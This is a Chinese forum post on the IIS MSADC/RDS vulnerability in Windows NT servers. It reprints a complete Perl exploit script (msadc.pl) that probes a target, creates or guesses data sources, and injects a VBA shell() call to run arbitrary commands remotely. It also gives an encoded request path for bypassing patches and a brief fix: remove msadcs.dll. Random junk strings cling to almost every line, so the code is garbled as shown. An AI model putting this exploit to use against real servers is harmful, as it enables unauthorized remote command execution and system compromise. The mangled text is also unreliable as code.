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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l<+k[@Vox  
2Z~o frj  
涉及程序: 6%-2G@6d  
Microsoft NT server ,")7uMZaF\  
g=Lt 2UIJ  
描述: C'ZU .Y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {YFru6$  
tN~{Mt$-W  
详细: :nI.Qa'"H  
如果你没有时间读详细内容的话,就删除: &n|gPp77$  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {$^|^n5j  
有关的安全问题就没有了。 i{2KMa{K  
N<x5:f#+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 K4"as9oFP  
OuoZd!"qf  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 aH_&=/-Tz  
关于利用ODBC远程漏洞的描述,请参看: l}x{.q7U l  
Iu8=[F>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 43Q&<r$[T  
M%/D:0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "<n{/x(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp tyh%s"  
B}W^s;h  
这里不再论述。 _~!,x.Dbp  
8'y|cF%U  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8Bhng;jX  
u8*0r{kOH  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset r"+ WUU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! kcle|B  
7j+.H/2  
t%)L8%Jr  
#将下面这段保存为txt文件,然后: "perl -x 文件名" vzL>ZBe Z  
]#nAld1cmy  
#!perl <FP -]R)  
# Xp' KQ1w)  
# MSADC/RDS 'usage' (aka exploit) script 4{|lzo'&  
# UxW~yk  
# by rain.forest.puppy tc[PJH&P  
# v[x`I;  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me q~qig,$Y  
# beta test and find errors! ,#crtX  
Xe5J  
use Socket; use Getopt::Std; {PU[MHZF  
getopts("e:vd:h:XR", \%args); (/%}a`2#o  
#\}hN~@F  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; z, OMR`W  
t/3veDh@  
if (!defined $args{h} && !defined $args{R}) { ?F-,4Ox{/  
print qq~ X@arUs7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :!%oQQO  
-h <host> = host you want to scan (ip or domain) '&"7(8E} *  
-d <seconds> = delay between calls, default 1 second V #=N?p  
-X = dump Index Server path table, if available T/H*Bo *=5  
-v = verbose 4ngiad6bR  
-e = external dictionary file for step 5 Ct B> s7  
g$A1*<+  
Or a -R will resume a command session 3yTBkFI!  
RKe19l_V  
~; exit;} sIy  LW  
U}UIbJD*=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; uuq?0t2Z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2]@U$E='s  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4o%hH  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); m_pK'jc  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @FQ@* XD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;>PV]0bOm>  
zIQ\ _>  
if (!defined $args{R}){ $ret = &has_msadc; qB8<(vBP+  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} z.QW*rW9  
1Ao"DxZHy7  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" S`NH6?/uH  
. "cmd /c "; C}M0KDF  
$in=<STDIN>; chomp $in; hVd63_OO  
$command="cmd /c " . $in ; giI9-C  
&=f%(,+  
if (defined $args{R}) {&load; exit;} 2+|[e_  
6ds&n#n  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; V482V#BP  
&try_btcustmr; QII>XJ9  
5 bgx;z9  
print "\nStep 2: Trying to make our own DSN..."; l!`m}$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Q 5Ln'La$  
d~.#KS  
print "\nStep 3: Trying known DSNs..."; A0'Yfuie  
&known_dsn; EB)0 iQ  
u!t'J+:  
print "\nStep 4: Trying known .mdbs..."; RlpW)\{j?  
&known_mdb; `/0FXb 8h  
-`rz[";n  
if (defined $args{e}){ ](%-5G1<  
print "\nStep 5: Trying dictionary of DSN names..."; r1,RloyZS  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } V;>p@uE,P  
`LNRl'Z m  
print "Sorry Charley...maybe next time?\n"; 9X!OQxmg  
exit; J H6\;G6  
{Bu^%JEn  
############################################################################## eQMY3/#  
^G5 _d"Gr  
sub sendraw { # ripped and modded from whisker p`Ax)L\f  
sleep($delay); # it's a DoS on the server! At least on mine... ,KZ_#9[>  
my ($pstr)=@_; ).xQ~A\.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v\Q${6kEtx  
die("Socket problems\n"); Y@Ty_j~  
if(connect(S,pack "SnA4x8",2,80,$target)){ !sUo+Y  
select(S); $|=1; =T9QmEBm  
print $pstr; my @in=<S>; ,*Sj7qb#  
select(STDOUT); close(S); ,b2Cl[  
return @in; y6;A4p>  
} else { die("Can't connect...\n"); }} 7Qz Uw  
zxXm9zrLo  
############################################################################## `j@2[XdHu  
&d=j_9   
sub make_header { # make the HTTP request cu.f]'  
my $msadc=<<EOT q0$}MB6  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %b0..Zz  
User-Agent: ACTIVEDATA ~p^6  
Host: $ip CsXIq.9  
Content-Length: $clen &Zd! |u  
Connection: Keep-Alive UP^{'eh  
e5C560  
ADCClientVersion:01.06 B_nim[72  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 a*! wiTGf  
iq=<LOx  
--!ADM!ROX!YOUR!WORLD! )y_MI r  
Content-Type: application/x-varg BA53   
Content-Length: $reqlen b<NI6z8\  
#D&eov?  
EOT wm !Y5  
; $msadc=~s/\n/\r\n/g; d A[I  
return $msadc;} *#w+*ywVZH  
7vubkj&  
############################################################################## H9F\<5n]-l  
.e~17}Ka}  
sub make_req { # make the RDS request ESft:3xyw  
my ($switch, $p1, $p2)=@_; ]:8:|*w  
my $req=""; my $t1, $t2, $query, $dsn; 0ERA(=w5  
5L'X3g  
if ($switch==1){ # this is the btcustmr.mdb query n3 -5`Jti  
$query="Select * from Customers where City=" . make_shell(); 2r]80sWY  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3{O^q/R  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V'K1kYb  
$i;%n1VBg  
elsif ($switch==2){ # this is general make table query Tq,Kel  
$query="create table AZZ (B int, C varchar(10))"; IC"bg<L,*  
$dsn="$p1";} :q/%uca9  
Q30A aG}f  
elsif ($switch==3){ # this is general exploit table query Lk9X>`b#B  
$query="select * from AZZ where C=" . make_shell(); f .-b.nNf  
$dsn="$p1";} b*&AIiT  
bz<f u  
elsif ($switch==4){ # attempt to hork file info from index server CB]#`|f  
$query="select path from scope()"; FL*qV"r^n  
$dsn="Provider=MSIDXS;";} )O*\}6:S  
38#BINhBt  
elsif ($switch==5){ # bad query +"Flu.+['  
$query="select"; sxkWg>  
$dsn="$p1";} I7,5ID4pn  
p8,Rr{  
$t1= make_unicode($query); ]-]K4*{   
$t2= make_unicode($dsn); H3CG'?{ _  
$req = "\x02\x00\x03\x00"; c&me=WD  
$req.= "\x08\x00" . pack ("S1", length($t1)); 1k"<T7K  
$req.= "\x00\x00" . $t1 ; BQTZt'p  
$req.= "\x08\x00" . pack ("S1", length($t2)); X?whyD)vE@  
$req.= "\x00\x00" . $t2 ; +L(|?|i8  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @ >_v/U'  
return $req;} wr>[Eo@%\  
)S"!)\4 b  
############################################################################## 4~<78r5m  
~j3O0s<gK  
sub make_shell { # this makes the shell() statement rZ`+g7&^Fh  
return "'|shell(\"$command\")|'";} !y_4.&C{  
Hw29V //  
############################################################################## [QUaC3l)  
SzXR],dA  
sub make_unicode { # quick little function to convert to unicode -J &y]'  
my ($in)=@_; my $out; (-S\%,hO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }Um,wY[tK  
return $out;} ,i RUR 8  
qh9d .Q+n  
############################################################################## lC.Q61J@  
>E lK8  
sub rdo_success { # checks for RDO return success (this is kludge) OTe h8h  
my (@in) = @_; my $base=content_start(@in); hufpky[&8  
if($in[$base]=~/multipart\/mixed/){ xQUskjv/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} s#cb wDT  
return 0;} O}s Mqh  
l6_dVK;s  
############################################################################## R<djW5()f  
x3AAn,m8  
sub make_dsn { # this makes a DSN for us WU$l@:Yo  
my @drives=("c","d","e","f"); w`YN#G  
print "\nMaking DSN: "; "%(SLQOyy  
foreach $drive (@drives) { %fuV]  
print "$drive: "; v`r![QpYf  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . jWL%*dJrN  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]A=yj@o$xN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); G!)Q"+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'vwu^u?  
return 0 if $2 eq "404"; # not found/doesn't exist sEymwpm9  
if($2 eq "200") { A Xpg_JC  
foreach $line (@results) { *$]50 \W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} CSwPL>tUV  
} return 0;} Np"~1z.(b  
Y(RB@+67  
############################################################################## , Dab(  
v#|yr<  
sub verify_exists { sTS/ ]"l  
my ($page)=@_; 3y tlD'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;&dMtYb  
return $results[0];} O70#lvsM;  
2#(dfEAy  
############################################################################## T' =6_?7K4  
}  fa  
sub try_btcustmr { Q7#t#XM  
my @drives=("c","d","e","f"); MWv(/_b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \`0s %F:V}  
wQ^RXbJI9  
foreach $dir (@dirs) { 704_ehrlE  
print "$dir -> "; # fun status so you can see progress 'gtcy  
foreach $drive (@drives) { J#gG*(  
print "$drive: "; # ditto /_X`i[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R`J.vMT  
$reqlenlen=length( "$reqlen" ); 2>[xe  
$clen= 206 + $reqlenlen + $reqlen; v|MT^.  
q/^?rd  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?bPW*A82{q  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} fK _uuw4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} mp)+wZAN&  
/}/GK|tj  
############################################################################## ;t M  
\.'[!GE*c  
sub odbc_error { zR4]buHnE  
my (@in)=@_; my $base; i &%m^p  
my $base = content_start(@in); R^mkQb>m.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8aJJ??o{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &e78xtA{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D |=L)\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  |e<$  
return $in[$base+4].$in[$base+5].$in[$base+6];} LJ6l3)tpD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Be9,m!on  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P4zwTEk`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} l3*GQ~m7  
]9PG"<^k  
############################################################################## J$PlI  
lMH~J8U3  
sub verbose { sH>`eqY  
my ($in)=@_; R58NTPm  
return if !$verbose; eY-h<K)y  
print STDOUT "\n$in\n";} 6{{<+ o  
61b*uoq0w?  
############################################################################## 6#AEVRJKU@  
I:HrBhI)wP  
sub save { >28l9U  
my ($p1, $p2, $p3, $p4)=@_; rW090Py  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %% /8B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <W>A }}q  
close OUT;} rHM^_sYRb  
& Zn`2%  
############################################################################## ^^zj4 }On?  
yj@k0TWT$  
sub load { :<mJRsDf  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S>>wf:\ c  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q)f_!N  
@p=<IN>; close(IN); W/%hS)75  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); mE5{)<N:C  
$target= inet_aton($ip) || die("inet_aton problems"); YU"/p|!1  
print "Resuming to $ip ..."; / Y od  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; -`DYDIr  
if($p[1]==1) { 3 tCTPZy  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; jf-XVk5q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >~Xe` }'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); iC5HrOl6U  
if (rdo_success(@results)){print "Success!\n";} Z'>UR.g  
else { print "failed\n"; verbose(odbc_error(@results));}} ;Ce?f=4  
elsif ($p[1]==3){ #HH[D;z  
if(run_query("$p[3]")){ 0O,;[l  
print "Success!\n";} else { print "failed\n"; }} 4sntSlz)~k  
elsif ($p[1]==4){ oe.Jm#?2.  
if(run_query($drvst . "$p[3]")){ RRPPojKZ  
print "Success!\n"; } else { print "failed\n"; }} ju'a Uzn  
exit;} _@y uaMoW=  
s+v9H10R  
############################################################################## Y.) QNTh  
YPGzI]\  
sub create_table { ~?Vod|>  
my ($in)=@_; " acI:cl?,  
$reqlen=length( make_req(2,$in,"") ) - 28; 6IV):S~  
$reqlenlen=length( "$reqlen" ); m~*qS4  
$clen= 206 + $reqlenlen + $reqlen; f|M^UHt8*  
my @results=sendraw(make_header() . make_req(2,$in,"")); _S7?c^:~  
return 1 if rdo_success(@results); [ i, [^  
my $temp= odbc_error(@results); verbose($temp); @wa"pWx8  
return 1 if $temp=~/Table 'AZZ' already exists/; l[IL~  
return 0;} E b:iym0  
MKvmzLh$)  
############################################################################## $.pCoS]i  
y705  
sub known_dsn { 1t^y?<)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "i(f+N,)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'DVn /3?X  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", L=qhb;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -k7b# +T  
$(;Ts)P  
foreach $dSn (@dsns) { b#p0s?*  
print "."; e-P{)L<s5  
next if (!is_access("DSN=$dSn")); 8)eRm{  
if(create_table("DSN=$dSn")){ :AFW=e@<  
print "$dSn successful\n"; e|~{ X\l  
if(run_query("DSN=$dSn")){ r<1W.xd":  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &4|]VOf  
print "Something's borked. Use verbose next time\n";}}} print "\n";} B=K<k+{6"  
/klo),|&  
############################################################################## -XL? n/M  
l<uI-RX "  
sub is_access { kVM*[<k  
my ($in)=@_; [&*irk  
$reqlen=length( make_req(5,$in,"") ) - 28; CHv n8tk  
$reqlenlen=length( "$reqlen" ); }NwmZ w>_  
$clen= 206 + $reqlenlen + $reqlen; NAE |iyw  
my @results=sendraw(make_header() . make_req(5,$in,"")); 75^*4[  
my $temp= odbc_error(@results); ";(m,i f-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); jrN 5l1np  
return 0;} "?6*W"N9  
y'8T=PqY[t  
############################################################################## > `eo0  
rwUhNth-Qh  
sub run_query { 85io %>&0  
my ($in)=@_; )E=B;.FH  
$reqlen=length( make_req(3,$in,"") ) - 28; k7*-v/ *S  
$reqlenlen=length( "$reqlen" ); rjcH[U(  
$clen= 206 + $reqlenlen + $reqlen; [= E=H*j  
my @results=sendraw(make_header() . make_req(3,$in,"")); U= n  
return 1 if rdo_success(@results); >BO!jv!a  
my $temp= odbc_error(@results); verbose($temp); 9m>L\&\_e  
return 0;} i=b'_SZ '  
b}7g>  
############################################################################## bu pW*fD:  
[*) 2Ou  
sub known_mdb { }.|a0N 5  
my @drives=("c","d","e","f","g"); R6;229e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Y(rQ032s  
my $dir, $drive, $mdb; 7 8xiT  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L67yL( d6a  
j/uMSE  
# this is sparse, because I don't know of many [C 7X#|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", "0G)S'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r H9}VA:h  
"\\system32\\certmdb.mdb", O&.gc p!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -y&>&D  
:Oj!J&A  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", fH ,h\0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", }VH` \g}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", A#~CZQY^$  
"\\cfusion\\cfapps\\security\\realm_.mdb", q}JP;p(#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", wjID*s[  
"\\cfusion\\database\\cfexamples.mdb", 6 ;\>,  
"\\cfusion\\database\\cfsnippets.mdb", [F *hjGLc}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M _Lj5`  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", S|RUc}(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Tt0]G_  
"\\cfusion\\database\\smpolicy.mdb", !qs~j=;y3  
"\\cfusion\\database\cypress.mdb", = p2AK\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =cR=E{20  
"\\website\\cgi-win\\dbsample.mdb", G8W^XD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )lx;u.$4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N':d T  
); #these are just .#e?[xxk  
foreach $drive (@drives) { )hA)`hL F  
foreach $dir (@dirs){ z{> )'A/  
foreach $mdb (@sysmdbs) { _32 o7}!x  
print "."; PTA_erU  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HFj@NRE6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; NzID [8`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ c30 kb  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; t+WUz#i"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5m6I:s`pK  
RjR  
foreach $drive (@drives) { Fmrl*tr  
foreach $mdb (@mdbs) { _3Q8R}  
print "."; 'F8:|g  
if(create_table($drv . $drive . $dir . $mdb)){ ^w}BXVn  
print "\n" . $drive . $dir . $mdb . " successful\n"; {f%x8t$  
if(run_query($drv . $drive . $dir . $mdb)){ <m?/yRE K2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; QW@`4W0F  
} else { print "Something's borked. Use verbose next time\n"; }}}} ud,_^Ul  
} Je~Ybh  
!RdubM  
############################################################################## ^pa -2Ao6  
mt3j$r{_  
sub hork_idx { :,dO7dJi  
print "\nAttempting to dump Index Server tables...\n"; )VR/a  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e~BUAz  
$reqlen=length( make_req(4,"","") ) - 28; 4^BHJOvs  
$reqlenlen=length( "$reqlen" ); M6b6lhg  
$clen= 206 + $reqlenlen + $reqlen; -jsk-,  
my @results=sendraw2(make_header() . make_req(4,"","")); ?`D/#P  
if (rdo_success(@results)){ _NJq%-,'  
my $max=@results; my $c; my %d; olf7L%  
for($c=19; $c<$max; $c++){ -r"h [UV)  
$results[$c]=~s/\x00//g; ghqq%g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lAPvphO  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ! .|\}=[e  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Bl)DuCV  
$d{"$1$2"}="";} onAC;<w  
foreach $c (keys %d){ print "$c\n"; } :s OsG&y  
} else {print "Index server doesn't seem to be installed.\n"; }} dg]: JU  
L2 tSKw~  
############################################################################## qBIKJ  
a5xp[TlXn.  
sub dsn_dict { T"$yh2tSY  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =m?x|Zc_v  
while(<IN>){ ;4 ON  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 564)ha/^(  
next if (!is_access("DSN=$dSn")); ( AnM _s  
if(create_table("DSN=$dSn")){ KoNJ;YiKtN  
print "$dSn successful\n"; sC.aT(meJ  
if(run_query("DSN=$dSn")){ zLiFk<G@Xi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sh%snLw  
print "Something's borked. Use verbose next time\n";}}} )tyhf(p6  
print "\n"; close(IN);} ?xuhN G@  
%kJ_o*"  
############################################################################## 2= 6}! Y  
\We\*7^E  
sub sendraw2 { # ripped and modded from whisker hkq[xgX  
sleep($delay); # it's a DoS on the server! At least on mine... 5 5_#?vw  
my ($pstr)=@_; MZX-<p+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O:Fnxp5@  
die("Socket problems\n"); f|f9[h'  
if(connect(S,pack "SnA4x8",2,80,$target)){ TYQ7jt0=.-  
print "Connected. Getting data"; Rx22W:S=C.  
open(OUT,">raw.out"); my @in; iwl\&uNQU  
select(S); $|=1; print $pstr;  Wb/q&o  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xmEmdOoD  
close(OUT); select(STDOUT); close(S); return @in; KU> $=Rd  
} else { die("Can't connect...\n"); }} 7aJLC!  
!kl9X-IiI  
############################################################################## I'h6!N"  
 4_E{  
sub content_start { # this will take in the server headers D,rF?t>=S  
my (@in)=@_; my $c; ^f -?xXPx  
for ($c=1;$c<500;$c++) { n'yC-;  
if($in[$c] =~/^\x0d\x0a/){ PyD'lsV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hDp -,ag{  
else { return $c+1; }}} .&AS-">Z  
return -1;} # it should never get here actually p1 9j  
\o-Q9V  
############################################################################## #[^?f[ 9r  
MjAF&bD^  
sub funky { `[<j5(T  
my (@in)=@_; my $error=odbc_error(@in); Rl7V~dUY  
if($error=~/ADO could not find the specified provider/){ GB1[`U%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; MVW2 %6  
exit;} pv.0!a/M  
if($error=~/A Handler is required/){ ZE@!s3\  
print "\nServer has custom handler filters (they most likely are patched)\n"; +1Ha,O k  
exit;} HG2i^y  
if($error=~/specified Handler has denied Access/){ mX)UoiXue  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q7X6OFl?  
exit;}} X&1R6 O  
)&"l3*x  
############################################################################## !\Y85o>JU  
FqOV/B /z2  
sub has_msadc { pJC@}z^cw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  o *2TH2  
my $base=content_start(@results);  A7*<,]qT  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p$XL|1G*?H  
return 0;} [:x^ffs  
`B{N3Kxbp  
######################## ?\dY!  
- Dm/7Sxd`  
S3V3<4CB  
解决方案: Y_3 {\g|x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll =.9L/74@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 V @A+d[  
nUi 4!|r  
拿出来充数 哈哈
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